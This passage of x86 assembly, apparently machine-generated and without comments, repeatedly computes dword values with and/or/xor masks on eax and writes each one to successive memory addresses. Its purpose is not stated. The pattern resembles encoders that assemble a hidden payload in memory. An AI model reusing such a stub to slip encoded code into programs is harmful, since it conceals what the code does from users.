and eax, 0x8183204d
or eax, 0x52008c80
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x13579a7b
and eax, 0x80c004a6
or eax, 0x2b208840
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ed45aac
and eax, 0x4b0fcd21
and eax, 0xc000
or eax, 0xc09009f9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69bce7e0
xor eax, 0x671fac4b
and eax, 0x4a208000
or eax, 0x108c6489
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c8e13c8
and eax, 0x51b82299
and eax, 0x2200
or eax, 0xfb43d1ac
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6321ea30
and eax, 0xca21e1ac
or eax, 0x4840003
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f0ffc71
and eax, 0x801a021
or eax, 0x81ca0fde
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68818bb4
and eax, 0xc0cb8ed1
or eax, 0x14341000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46216745
and eax, 0x9284f090
or eax, 0x6c20002a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x679354b5
and eax, 0x24342492
or eax, 0x400a00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6895ff3c
and eax, 0x40410
or eax, 0x99e88041
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d9db859
and eax, 0x5efa23ea
and eax, 0x600000
or eax, 0x8082d381
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3368e74f
and eax, 0xa1a294c4
or eax, 0x4c000810
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ff6fd2f
or eax, 0x2d74b28f
and eax, 0xa574b1c6
or eax, 0x810400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ebc6240
and eax, 0x942000
or eax, 0xd1020000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34d75b01
or eax, 0x38d22ddf
and eax, 0xb0d33ddf
or eax, 0x2288000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3be4b8fc
and eax, 0x220020c4
or eax, 0x49194623
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66bd2088
and eax, 0x4064a
or eax, 0x422810
mov dword [ebx], eax
add ebx, ecx
or eax, 0x387829c0
and eax, 0x10542250
or eax, 0x7010005
mov dword [ebx], eax
add ebx, ecx
or eax, 0x72b20501
and eax, 0x3555b723
and eax, 0x4512400
or eax, 0x48a04050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46186aaa
and eax, 0x680282
or eax, 0x103005
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d75ce0c
and eax, 0x4a112470
and eax, 0x8012000
or eax, 0x420e5842
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ba8a55
xor eax, 0x36e377e9
and eax, 0x6154002e
or eax, 0x84080200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40269d46
and eax, 0xe5029e64
or eax, 0xa816011
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c975ba2
and eax, 0xe494bfd5
or eax, 0x400008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x42450c98
and eax, 0x79195502
and eax, 0x110500
or eax, 0xbe6cafb
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d399a38
and eax, 0x7beba56b
and eax, 0x20420403
or eax, 0x50155808
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79603d17
or eax, 0x50b64586
and eax, 0x4131000e
or eax, 0x22000040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x405a4f68
xor eax, 0xed787db
and eax, 0x68a8c011
or eax, 0x2032608
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74518aa8
or eax, 0x17d91cda
and eax, 0x78aae679
or eax, 0x80000104
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61951c48
and eax, 0x8117eb14
or eax, 0x6080048a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x13ff16fa
and eax, 0xb2408920
or eax, 0x850082
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x39644e7
and eax, 0x91438c44
or eax, 0x48ac0292
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a3c7189
and eax, 0x180c0080
or eax, 0xa052f51d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x47be5885
and eax, 0xdeb86d05
or eax, 0x262
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c7ea0b5
and eax, 0xc280c790
or eax, 0x1000302d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x450429fe
and eax, 0x8380c803
or eax, 0x87a00b8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c39533c
xor eax, 0x45dc7898
and eax, 0xe00c210c
or eax, 0x9401c60
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5dc27d63
xor eax, 0x1394086b
and eax, 0x86004024
or eax, 0x5080b280
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f4e1b73
and eax, 0x2001220
or eax, 0x38322411
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3959987e
xor eax, 0x32fbcb37
and eax, 0xa231b02
or eax, 0x610404e8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22bc5ad7
and eax, 0x69a27f31
and eax, 0x1800501
or eax, 0x1629980e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61d9f7ac
and eax, 0x5791b523
or eax, 0x60040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x329c947b
or eax, 0x4e0c3be6
and eax, 0x6d002ad8
or eax, 0x90000401
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6cbe1062
xor eax, 0x505e6806
and eax, 0x288054fd
or eax, 0x50020800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x449e45c0
and eax, 0x44144110
or eax, 0x202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48cf4602
and eax, 0x40040002
or eax, 0x3a0835a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x525db18e
and eax, 0x418408
or eax, 0x14222143
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf351501
and eax, 0x200000
or eax, 0x2b44122a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e41a18
and eax, 0x3641838
or eax, 0x10022140
mov dword [ebx], eax
add ebx, ecx
or eax, 0x446831ef
and eax, 0x4090adc0
and eax, 0x400021c0
or eax, 0x3161d40d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5873df4a
xor eax, 0xe0606b0
and eax, 0x7042405
or eax, 0x40024108
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5c7e014d
xor eax, 0x1f283371
and eax, 0x564634
or eax, 0x21002001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5fa20d06
or eax, 0x3a30c589
and eax, 0x1a020109
or eax, 0x44001040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x45b35560
and eax, 0x11114408
or eax, 0xe44289d6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x702f3211
and eax, 0x30020010
or eax, 0x830c8ce3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8c6e772
and eax, 0x68050
or eax, 0xfda16089
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46690d9c
xor eax, 0x6a5c37d3
and eax, 0x8192c284
or eax, 0x640400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x42661979
xor eax, 0x2a2f989
and eax, 0xc0200034
or eax, 0x1881d182
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x562b19ee
xor eax, 0xcc3826
and eax, 0x40e018
or eax, 0x60990181
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1edebfc0
and eax, 0x793bb8a6
and eax, 0x6013a800
or eax, 0x6044153
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9547646
and eax, 0x35c7b4ac
and eax, 0x25420400
or eax, 0x18100130
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15260dc4
and eax, 0x6e566f01
and eax, 0x500
or eax, 0xc2a92a7f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x273cbcc9
and eax, 0xe1809084
or eax, 0x20a4c01
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e754ed4
xor eax, 0x7f55900
and eax, 0x880207d5
or eax, 0x3351002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11a19760
and eax, 0x9a8080b3
or eax, 0x61097108
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1cf9f42f
and eax, 0x82021
or eax, 0x86160b94
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a8115a9
and eax, 0x5d0c1bf8
and eax, 0x8040188
or eax, 0x43736400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x117298e3
or eax, 0x57865ee1
and eax, 0x40f7a4eb
or eax, 0xa0000004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x412045c7
and eax, 0x21c08008
or eax, 0x52081092
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ef0ea85
and eax, 0x40f59999
and eax, 0x301010
or eax, 0x8081e462
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34d4fac7
and eax, 0x800172e6
or eax, 0x9020000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53f2d28c
and eax, 0xc273028e
or eax, 0x20000400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x406e025e
or eax, 0x682b4829
and eax, 0x480b0a02
or eax, 0x1590a190
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf498d71
and eax, 0x76d575c7
and eax, 0x6012403
or eax, 0x28084a2c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ee1dead
or eax, 0x26059ae1
and eax, 0x5a48d080
or eax, 0x80020100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x39e1b2ed
and eax, 0x410b0205
or eax, 0x14501800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2279da36
or eax, 0x7ca76d5c
and eax, 0x1b3cb734
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1cf6f9b6
and eax, 0x7057a4ae
and eax, 0x422402
or eax, 0x64291040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53f437f4
and eax, 0x70982786
or eax, 0x88008000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a1e529f
and eax, 0x2023108
or eax, 0x60500264
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x441b46b9
and eax, 0x4492410
or eax, 0xc8a40200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a0cd4b5
and eax, 0x80010
or eax, 0xa2e39a66
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1527d137
and eax, 0xa0e7d971
or eax, 0x2080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f1d354e
xor eax, 0x23711100
and eax, 0xc889581f
or eax, 0x22700040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4efbfaba
and eax, 0x681182d5
or eax, 0x1000500
mov dword [ebx], eax
add ebx, ecx
or eax, 0x184ddd64
and eax, 0x394d5d31
or eax, 0x2002008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3629f984
and eax, 0x1f482d20
or eax, 0x100042
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ac20ab9
and eax, 0x18000000
or eax, 0xe09b614c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e05a5cc
and eax, 0x3262eafe
and eax, 0x2202c088
or eax, 0xccb51b02
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3215d69b
and eax, 0x1c820d00
or eax, 0x204c80a6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e4a686f
or eax, 0x3d217af4
and eax, 0x23248
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5120c143
and eax, 0x48f35b8d
and eax, 0x201001
or eax, 0x2f480436
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5045eb4d
or eax, 0x1fac0012
and eax, 0x10210642
or eax, 0x420000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43664421
or eax, 0x4a88c821
and eax, 0x5984c223
or eax, 0xa0102114
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e027ffb
xor eax, 0xcc29bdf
and eax, 0x3400610
or eax, 0x3488c0ac
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50a0a028
and eax, 0x10800008
or eax, 0xc9146b80
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1333163f
and eax, 0x88814cb5
or eax, 0x24188000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x22c7110c
and eax, 0x20800000
or eax, 0xc608b1c9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x533a14f9
or eax, 0x353666bc
and eax, 0x1722d5bc
or eax, 0x410000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c72885
or eax, 0x69ae0896
and eax, 0x792a1004
or eax, 0x2000240
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6607ff69
and eax, 0x15984d82
and eax, 0x10004400
or eax, 0x4a362229
mov dword [ebx], eax
add ebx, ecx
or eax, 0xfa0e733
and eax, 0x474687a7
and eax, 0x5000302
or eax, 0x28407014
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f5200e3
xor eax, 0x4eb2508c
and eax, 0x8000240
or eax, 0x1344cc04
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19acee3
and eax, 0xa0e0083
or eax, 0x4120cc18
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2998def8
and eax, 0x85a5a77
and eax, 0x121a73
or eax, 0x6640008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x491bd262
and eax, 0x422c4818
or eax, 0x20120046
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6abadeea
xor eax, 0x619e6b43
and eax, 0x9201010
or eax, 0xa45b4a42
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x770751be
and eax, 0x80100888
or eax, 0x403c411
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x25ade962
and eax, 0xa10e04b3
or eax, 0x56010a00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5214d8f6
or eax, 0x1cc7d00a
and eax, 0xb98dd60e
or eax, 0x400008a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22874c79
xor eax, 0x5fb37caa
and eax, 0x8480ce7d
or eax, 0x70020182
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e57d634
and eax, 0xa2c696bc
or eax, 0x1280000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f1677ff
and eax, 0x10182141
or eax, 0x108a8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a078269
and eax, 0x20048a80
or eax, 0x5020142f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x49fb9601
and eax, 0x30890806
or eax, 0xc0001640
mov dword [ebx], eax
add ebx, ecx
and eax, 0x54e9a4f0
and eax, 0x40080440
or eax, 0x252089af
mov dword [ebx], eax
add ebx, ecx
or eax, 0x41b7bebc
and eax, 0x20322402
or eax, 0x1a400000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17404626
xor eax, 0x7d4b950b
and eax, 0x6e000001
or eax, 0x10746052
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6096bc15
and eax, 0x14425802
or eax, 0xc20b8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53d05c30
and eax, 0x45146010
or eax, 0xa8010200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a92364d
and eax, 0x744962f6
and eax, 0x24016000
or eax, 0x9561882
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x296623e
and eax, 0xd000014
or eax, 0x40024000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6379fd4
and eax, 0x4020000
or eax, 0x52204702
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b9eb563
and eax, 0xc0021
or eax, 0x2400d1c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71269e2
and eax, 0x401a
or eax, 0x6a211820
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47c9252a
and eax, 0x2c480d10
or eax, 0xd016022b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x255f1ad3
and eax, 0x77c87c68
and eax, 0x31480820
or eax, 0x87c207
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xebb6f4f
xor eax, 0x17698d8c
and eax, 0x28040004
or eax, 0x55204002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x62f9e67f
or eax, 0x7b11fc72
and eax, 0x3440a49
or eax, 0x20104
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4329c3ff
and eax, 0x1b84d193
and eax, 0xc082
or eax, 0xd981262d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a50462a
or eax, 0x5b370c1
and eax, 0xf4c2e689
or eax, 0xc0000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x625d9a54
xor eax, 0x5e6d0410
and eax, 0x12000600
or eax, 0x811c6822
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ae1aaf5
and eax, 0x2a20
or eax, 0xc5a481d1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6fce5cb2
and eax, 0x418400a0
or eax, 0x9a29c507
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b23d5f2
and eax, 0x9214400
or eax, 0x4010200c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b5bda
and eax, 0x2aa3bb18
and eax, 0x10000
or eax, 0x7422013
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7fb14687
or eax, 0x3fa78a3a
and eax, 0xf218038
or eax, 0x80004180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xbea5fb0
and eax, 0x6788fd84
and eax, 0x8400
or eax, 0x114321b0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34ba1766
and eax, 0x484f1703
and eax, 0x411202
or eax, 0x624005d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c4799e4
xor eax, 0x30e7c941
and eax, 0x224905
or eax, 0x48050028
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b1eb412
or eax, 0x2782923
and eax, 0x3b41e518
or eax, 0x200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x199cf642
and eax, 0x739a8897
and eax, 0x20080010
or eax, 0x19441b44
mov dword [ebx], eax
add ebx, ecx
and eax, 0x56fb8e1b
or eax, 0x79263766
and eax, 0x39642166
or eax, 0x82810008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41b051f8
or eax, 0x5f8a9057
and eax, 0xce83e082
or eax, 0x508
mov dword [ebx], eax
add ebx, ecx
and eax, 0x675b1fba
and eax, 0x201008a
or eax, 0xa1e8aa70
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1915f369
or eax, 0x3819994d
and eax, 0x30109b69
or eax, 0xc0644412
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d1129a9
xor eax, 0x4905e1f3
and eax, 0x410000c8
or eax, 0xa4621601
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6a9ecba0
and eax, 0x40000000
or eax, 0x9d6d0c47
mov dword [ebx], eax
add ebx, ecx
and eax, 0x54b18bb1
and eax, 0x200801
or eax, 0xa39403da
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a98c473
and eax, 2
or eax, 0xe8095880
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b60b0a7
and eax, 0x7121c001
or eax, 0x92148a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2cd23898
and eax, 0x5c125c01
or eax, 0x2040320
mov dword [ebx], eax
add ebx, ecx
or eax, 0x379b6a66
or eax, 0x6cd295d3
and eax, 0x2fd0cff3
or eax, 8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2484e6b8
or eax, 0x55728848
and eax, 0x1b166bd0
or eax, 0x80080000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3bbc20af
or eax, 0x18be203
and eax, 0xa08aa923
or eax, 0x12501480
mov dword [ebx], eax
add ebx, ecx
and eax, 0x23b223fe
and eax, 0x8020a0
or eax, 0x9421ca5d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x482b6c99
and eax, 0x94888440
or eax, 0x20443090
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14ebc602
and eax, 0xa00130d2
or eax, 0x6488421
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71d007af
or eax, 0x59e6adb9
and eax, 0x8c28c3a
or eax, 0x86180244
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e72497d
or eax, 0x74d53da9
and eax, 0xf08c96a1
or eax, 0xa020000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c3fe87f
xor eax, 0x717f8c65
and eax, 0xc5c8a099
or eax, 0x28100904
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8e87d4b
xor eax, 0x14c2c7b3
and eax, 0xf1820201
or eax, 0x801ec8a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9e95a0a
and eax, 0xa9e1d281
or eax, 0x4040100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60b1e1f5
and eax, 0x2d85c171
or eax, 0x120a0c02
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62275f41
xor eax, 0x564147e0
and eax, 0x8041013
or eax, 0x44006604
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x496077c9
and eax, 0x54a2fbbd
and eax, 0x4200000
or eax, 0x8450c42
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xacd43c4
and eax, 0x2e2d6e2b
and eax, 0x280e02
or eax, 0x18513168
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48e0229
and eax, 0x28
or eax, 0xd6510944
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ded0215
and eax, 0x10004
or eax, 0x209eb612
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11a46cf9
or eax, 0x65a4d3be
and eax, 0x55b9cf19
or eax, 0x82000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f4b9f7a
and eax, 0x8405043
or eax, 0x460c0990
mov dword [ebx], eax
add ebx, ecx
and eax, 0x46bada75
and eax, 0x152cfe6b
and eax, 0x81040
or eax, 0xb0f484b2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63a1e854
and eax, 0x324d8d4
or eax, 0xc000308
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79105746
xor eax, 0x50d6bc6
and eax, 0x43302450
or eax, 0x8c4008a1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1000d1
and eax, 0x81
or eax, 0xa3e2c226
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43261bce
xor eax, 0x794eda8f
and eax, 0x818001c6
or eax, 0x2251a410
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d3dc18b
and eax, 0x1a1c08b
or eax, 0x40020220
mov dword [ebx], eax
add ebx, ecx
or eax, 0x552914f9
or eax, 0x5ddc713a
and eax, 0x591c52c1
or eax, 0x20000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64747c30
xor eax, 0x23ed6a9
and eax, 0x2200608
or eax, 0x89542806
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43fb8ec5
and eax, 0x40068048
or eax, 0x3201134
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5be6f6fe
or eax, 0x729e47f4
and eax, 0x30542252
or eax, 0x1809
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e7916c
and eax, 0x32e2969a
and eax, 0x1000
or eax, 0x1d1b6210
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c1c85ca
and eax, 0x4000000
or eax, 0x4266147b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x777f5f1d
and eax, 0x30004022
or eax, 0x46463410
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ed262
and eax, 0x65000
or eax, 0x11512744
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xae29358
and eax, 0xa210418
or eax, 0xe4081a40
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4188f733
or eax, 0x20deacaf
and eax, 0x20020293
or eax, 0x3014000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c8f600a
and eax, 0x71874cc2
and eax, 0x11030002
or eax, 0xc701679
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11a29412
and eax, 0x1943003a
or eax, 0x62044900
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7699c0a3
and eax, 0x2010000
or eax, 0x1720645
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6172670d
and eax, 0x56309166
and eax, 0x140
or eax, 0x9d2103c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x36fb5a30
and eax, 0x2a590124
or eax, 0x401
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2dd29d42
xor eax, 0x31589145
and eax, 0x18080445
or eax, 0x4066100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x207cf8af
and eax, 0x2010056b
or eax, 0x42010000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7625569c
xor eax, 0x726c0b01
and eax, 0x42085836
or eax, 0x52609
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52e26328
and eax, 0x674cdd99
and eax, 0x441418
or eax, 0x9910260
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5769704c
and eax, 0x75adb1a6
and eax, 0x44810024
or eax, 0x8020243
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5f453c77
and eax, 0x3359b644
and eax, 0x11410200
or eax, 0x838083b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7adf4037
xor eax, 0x1d3aba6
and eax, 0x4205e02a
or eax, 0x10880050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79b74e95
and eax, 0x40804010
or eax, 0xae08bb69
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe0b2660
and eax, 0x2e0af719
or eax, 0x10400082
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a822791
and eax, 0x2c423010
or eax, 0x81150840
mov dword [ebx], eax
add ebx, ecx
or eax, 0x568983c0
and eax, 0x35cff171
and eax, 0x254ba140
or eax, 0x80300428
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c616eac
xor eax, 0x7b328f4
and eax, 0x2420000
or eax, 0xc2d0222
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5bbfd2e3
and eax, 0x138fd262
or eax, 0xa0002408
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7e3157b4
and eax, 0x20011200
or eax, 0x85c6a1dc
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ad1ac43
and eax, 0x16060119
or eax, 0x60410060
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2de8d0bc
or eax, 0x470bf102
and eax, 0x9ec5073
or eax, 0x80000c00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e17d7cf
xor eax, 0x5d8e14a9
and eax, 0xc2318f01
or eax, 0x108a40a8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57c4f5cb
xor eax, 0x3b8f3b47
and eax, 0x280ed28c
or eax, 0x86a00131
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x399a4a29
and eax, 0x2c81907e
and eax, 0x4000004
or eax, 0x32332323
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x21319cf2
xor eax, 0x56abc085
and eax, 0x41a85250
or eax, 0x32528089
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2349053a
and eax, 0x10130740
or eax, 0x2c480018
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2acdfac1
and eax, 0x568ab230
and eax, 0x808010
or eax, 0xc9450583
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60c3ed9
and eax, 0x47003002
or eax, 0x30300024
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30cdd690
xor eax, 0x3824ee22
and eax, 0x5000884
or eax, 0xa0020522
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43a06b84
and eax, 0x80a02602
or eax, 0x191109d5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45f3813a
and eax, 0x1b00110
or eax, 0xd806d0c5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x47a3a845
and eax, 0x81126001
or eax, 0x40060a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7b17b5ca
xor eax, 0x5fefcb34
and eax, 0x1e9ca726
or eax, 0x80021081
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f030475
xor eax, 0x56ba31ce
and eax, 0x11208000
or eax, 0x61e1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42f05dab
or eax, 0x9657931
and eax, 0x1207920
or eax, 0x64988208
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x32cc4c02
and eax, 0x41200702
or eax, 0x80a0051
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53c1584d
and eax, 0x12601541
or eax, 0x20
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50cbf25b
xor eax, 0x42354271
and eax, 0xc61000
or eax, 0xaa200075
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe98091c
and eax, 0x464116d
or eax, 0x40004682
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10b133ec
xor eax, 0x7d93e5df
and eax, 0x20060210
or eax, 0x40016403
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73436a42
and eax, 0x3400800
or eax, 0x30522a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b85a522
xor eax, 0x2b9e56b0
and eax, 0x2aa11a
or eax, 0x1c100000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3fd8e5ea
and eax, 0x18100108
or eax, 0xe3621070
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56a676e1
and eax, 0x5f35b27c
and eax, 0x16103018
or eax, 0x80c0c485
mov dword [ebx], eax
add ebx, ecx
